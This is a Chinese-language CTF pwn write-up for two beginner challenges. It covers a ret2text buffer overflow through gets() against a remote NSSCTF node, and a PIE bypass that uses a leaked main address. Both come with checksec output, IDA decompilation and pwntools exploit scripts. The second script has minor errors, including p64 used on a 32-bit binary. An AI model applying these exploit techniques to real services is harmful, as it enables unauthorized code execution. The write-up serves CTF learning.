看题目就知道签到题,nc连接远程端口直接打就好
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksec检查文件保护
发现开启了NX(堆栈不可执行)
丢ida分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __fastcall main(int argc, const char **argv, const char **envp) { char v4[2]; // [rsp+Eh] [rbp-2h] BYREF signal(14, sig); alarm(0x28u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!"); puts("Today's vote will be regarding the administration of"); puts("watevr CTF."); puts("the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible."); puts("Thanks!"); printf("Vote: "); fflush(_bss_start); gets(v4); puts("Thanks for voting!"); return 0; }
发现了危险函数get,shift+F12寻找后门函数,发现/cat/flag.txt,ida中寻找发现开始地址为0x400807
满足ret2text,直接打
exp
1 2 3 4 5 from pwn import *p = remote('node5.anna.nssctf.cn' ,21490 ) payload = b'a' *(0x1 +8 )+p64(0x400808 ) p.sendline(payload) p.interactive()
也是非常简单,开胃小菜哈
1 2 3 4 5 6 7 checksec --file=ezpies [*] '/mnt/hgfs/windowshare/ezpies' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
如图所示,32位文件开启了PIE保护(地址随机化)
1 2 3 4 5 6 7 8 9 10 int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; }
运行发现
1 2 3 4 ❯ ./ezpies OHHH!,give you a gift! 0x5d837770 Input:
可以看到,ELF文件执行时,会给我们main函数的地址,但是由于开启了pie保护,main函数每一次的地址都是随机的,那我们就要接受这个main的地址来进行payload的构造
PIE保护有个特点,最后三位数字不会随着地址随机化而变化,因此我们在ida中可以观察到main函数的地址末尾是70
因此我们可以去接受main函数的地址,同时计算出system距离main函数的距离,就可以编写exp了
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p=process('./ezpies' ) text = p.recvuntil('70' )[-10 :]//从遇到70 开始,接收最后的十个 main_addr = int (text,16 )//将main函数转化为16 进制的整数 shell_addr = main_addr + 0x0000080F - 0x00000770 //计算shell的地址,通过ida中的地址差先算main函数与system函数的距离 payload = b'a' *(0x28 +4 )+p64(shell_addr) p.sendline(payload) p.interactive()